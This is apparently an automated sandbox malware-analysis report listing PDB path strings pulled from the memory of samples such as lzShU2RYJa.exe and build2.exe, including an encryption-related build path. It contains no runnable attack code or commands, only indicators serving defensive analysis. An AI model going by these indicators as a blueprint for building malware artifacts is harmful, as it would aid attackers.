Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\bwe\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2170624062.00000000034FF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq++ source: lzShU2RYJa.exe, 00000004.00000003.2077051503.000000000313E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate source: lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2077014562.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076808618.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: lzShU2RYJa.exe, 00000004.00000003.2076682651.0000000003178000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077146736.000000000319F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: lzShU2RYJa.exe, 00000004.00000003.2163247512.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165495748.0000000009ADD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165374441.0000000009AD4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.0000000003526000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077014562.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076808618.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2164697505.000000000319A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2172116266.000000000319D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162836198.000000000319A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2168717124.0000000003187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\IE5 source: lzShU2RYJa.exe, 00000004.00000003.2135069960.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149698128.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149659795.0000000009C6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\" source: lzShU2RYJa.exe, 00000004.00000003.2172396410.000000000357E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169498078.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2171542781.0000000003576000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170692327.0000000003567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: lzShU2RYJa.exe, 00000004.00000003.2097815529.000000000319D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121586456.000000000318B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122972571.000000000319B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\w source: lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\nts\ags}\ source: lzShU2RYJa.exe, 00000004.00000003.2170624062.00000000034FF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\**U source: lzShU2RYJa.exe, 00000004.00000003.2098763825.0000000009B3A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076724094.0000000009AF4000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098246242.0000000009B12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: lzShU2RYJa.exe, 00000004.00000003.2150085330.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150567323.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2163485281.0000000009BB0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150765592.0000000009BF3000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150356036.0000000009C60000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164992228.0000000009C05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149748870.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errore\AppCache133408945538176941.txttxt source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s source: lzShU2RYJa.exe, 00000004.00000003.2169647341.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\* source: lzShU2RYJa.exe, 00000004.00000003.2150765592.0000000009BF3000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150953443.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149748870.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2143613910.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135325844.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgzqh source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 51~1cont3897ntkrnlmp.pdb source: lzShU2RYJa.exe, 00000004.00000003.2077051503.0000000003116000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\6f source: lzShU2RYJa.exe, 00000004.00000003.2183728527.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190963116.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189229761.0000000003517000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190316884.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000000.1745205959.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000002.1749056739.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1746563479.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\cG source: lzShU2RYJa.exe, 00000004.00000003.2135325844.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\rer\\Yy source: lzShU2RYJa.exe, 00000004.00000003.2169647341.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: lzShU2RYJa.exe, 00000004.00000003.2163118471.0000000009AF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorzq} source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.bgzqt\Mic source: lzShU2RYJa.exe, 00000004.00000003.2077014562.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077112602.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076808618.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\es-PR\od.pdb\we\\r$ source: lzShU2RYJa.exe, 00000004.00000003.2195950388.0000000009C14000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2193856481.0000000009C0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\pl source: lzShU2RYJa.exe, 00000004.00000003.2178293005.0000000003483000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2186063956.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\pl source: lzShU2RYJa.exe, 00000004.00000003.2176829706.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098898394.0000000003158000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097897568.000000000313E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121861502.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136215726.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2202492655.000000000316B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136052838.0000000003148000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189983327.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150619847.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2099179740.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152403486.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169864541.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163283393.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2101129948.000000000316A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197051494.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184683256.000000000315D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: lzShU2RYJa.exe, 00000004.00000003.2123477813.0000000009C89000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C89000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2176971750.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169220062.00000000035FB000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177523422.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177624853.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\<w source: lzShU2RYJa.exe, 00000004.00000003.2097856150.0000000003195000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076682651.0000000003178000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2176633429.000000000319A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: lzShU2RYJa.exe, lzShU2RYJa.exe, 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\[F source: lzShU2RYJa.exe, 00000004.00000003.2176971750.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169220062.00000000035FB000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177523422.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177624853.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: lzShU2RYJa.exe, 00000004.00000003.2193038000.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\DG source: lzShU2RYJa.exe, 00000004.00000003.2135325844.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fixah\rarekoxewun-kadezezetoz\xaridevo pebudujogoril40\pom.pdb source: lzShU2RYJa.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\** source: lzShU2RYJa.exe, 00000004.00000003.2098077997.0000000009ABB000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098716368.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121639008.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: lzShU2RYJa.exe, 00000004.00000003.2136011626.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143820420.0000000009B58000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2135826101.0000000009AD7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143414530.0000000009AE1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2144246008.0000000009AE2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\%T source: lzShU2RYJa.exe, 00000004.00000003.2177341450.000000000317C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\e\ source: lzShU2RYJa.exe, 00000004.00000003.2183412855.0000000009BF2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: lzShU2RYJa.exe, 00000004.00000003.1761324871.0000000009A80000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\State\@ source: lzShU2RYJa.exe, 00000004.00000003.2176829706.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098898394.0000000003158000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097897568.000000000313E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121861502.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136215726.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2202492655.000000000316B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136052838.0000000003148000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189983327.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150619847.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2099179740.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152403486.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169864541.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163283393.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2101129948.000000000316A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197051494.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184683256.000000000315D000.00000004.00000020.00020000.00000000.sdmp
